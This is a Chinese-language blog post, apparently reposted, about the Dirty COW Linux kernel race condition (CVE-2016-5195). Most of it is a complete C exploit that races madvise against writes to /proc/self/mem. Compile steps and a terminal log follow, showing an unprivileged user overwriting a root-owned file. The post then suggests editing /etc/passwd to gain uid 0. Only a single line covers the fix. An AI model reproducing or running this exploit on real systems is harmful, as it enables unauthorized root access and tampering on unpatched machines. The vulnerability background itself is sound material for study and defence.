linux内核通用提权漏洞expliot 脏牛Dirty COW


0x01 漏洞简介


Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


CVE-2016-5195: https://access.redhat.com/security/cve/CVE-2016-5195


0x02 漏洞危害


低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root权限。


0x03 影响范围



该漏洞影响所有 Linux Kernel >= 2.6.22的版本。

2.6.22 2007年发布的版本,也就是说这个漏洞几乎影响 2007以后的所有版本。


0x04 漏洞测试



读取 /proc/version 来获取 LinuxKernel 版本:


linux内核通用提权漏洞expliot 脏牛Dirty COW_第1张图片


0x05 测试代码


[cpp]  view plain  copy
 print ?
  1. /* 
  2.  * main.c 
  3.  * 
  4.  *  Created on: Oct 21, 2016 
  5.  *      Author: 5t4rk 
  6.  */  
  7. #include  
  8. #include  
  9. #include  
  10. #include  
  11. #include  
  12.   
  13. void *map;  
  14. int f;  
  15. struct stat st;  
  16. char* name;  
  17.   
  18. void * madviseThread(void *arg)  
  19. {  
  20.     char *str;  
  21.     str = (char *) arg;  
  22.     int i, c = 0;  
  23.     for (i = 0; i < 100000000; i++)  
  24.     {  
  25.         c += madvise(map, 100, MADV_DONTNEED);  
  26.     }  
  27.     printf("madvise %d\n", c);  
  28. }  
  29.   
  30. void * procselfmemThread(void *arg)  
  31. {  
  32.     char *str;  
  33.     str = (char *) arg;  
  34.     int f = open("/proc/self/mem", O_RDWR);  
  35.     int i, c = 0;  
  36.     for (i = 0; i < 100000000; i++)  
  37.     {  
  38.         lseek(f, map, SEEK_SET);  
  39.         c += write(f, str, strlen(str));  
  40.     }  
  41.     printf("procselfmem %d\n", c);  
  42. }  
  43.   
  44. int main(int argc, char *argv[])  
  45. {  
  46.     if (argc < 3)  
  47.         return 1;  
  48.     pthread_t pth1, pth2;  
  49.     f = open(argv[1], O_RDONLY);  
  50.     fstat(f, &st);  
  51.     name = argv[1];  
  52.     map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);  
  53.     printf("mmap %x\n", map);  
  54.     pthread_create(&pth1, NULL, madviseThread, argv[1]);  
  55.     pthread_create(&pth2, NULL, procselfmemThread, argv[2]);  
  56.     pthread_join(pth1, NULL);  
  57.     pthread_join(pth2, NULL);  
  58.     return 0;  
  59. }  

编译生成exp

[html]  view plain  copy
 print ?
  1. 两种生成方式:  
  2.   
  3. 命令行编译  
  4.   
  5. gcc main.c -lpthread  
  6.   
  7. 集成工具编译  
  8.   
  9. eclipse(luna) +CDT  
  10.   
  11. project>properties>settings>gcc linker> libraries  
  12.   
  13. 注意Debug和Release 都同时加上参数pthread库。  
  14.   
  15. 再编译即可成功。  


linux内核通用提权漏洞expliot 脏牛Dirty COW_第2张图片


0x06 测试结果


命令

[html]  view plain  copy
 print ?
  1. luke@ubuntu:/tmp$ cat test  
  2. 5678  
  3. luke@ubuntu:/tmp$ ls -al test  
  4. -rw-r--r-- 1 root root 5 10月 21 17:17 test  
  5. luke@ubuntu:/tmp$ id  
  6. uid=1000(luke) gid=1000(luke) groups=1000(luke),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)  
  7. luke@ubuntu:/tmp$ cat test  
  8. 5678  
  9. luke@ubuntu:/tmp$ echo 1234 >test  
  10. bash: test: Permission denied  
  11. luke@ubuntu:/tmp$ ./rootEep test 1234  
  12. bash: ./rootEep: No such file or directory  
  13. luke@ubuntu:/tmp$ ./rootExp test 1234  
  14. mmap b7701000  
  15. madvise 0  
  16. procselfmem 400000000  
  17. luke@ubuntu:/tmp$ cat test  
  18. 1234  


linux内核通用提权漏洞expliot 脏牛Dirty COW_第3张图片


结果显示低权限用户修改了root用户创建的文件内容。同理,

可以看到结果,test 文件的内容已经由5678被成功修改为1234。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。



0x07 修复方案


更新升级最新 Linux Kernel 源码,并重新编译。

你可能感兴趣的:(Linux)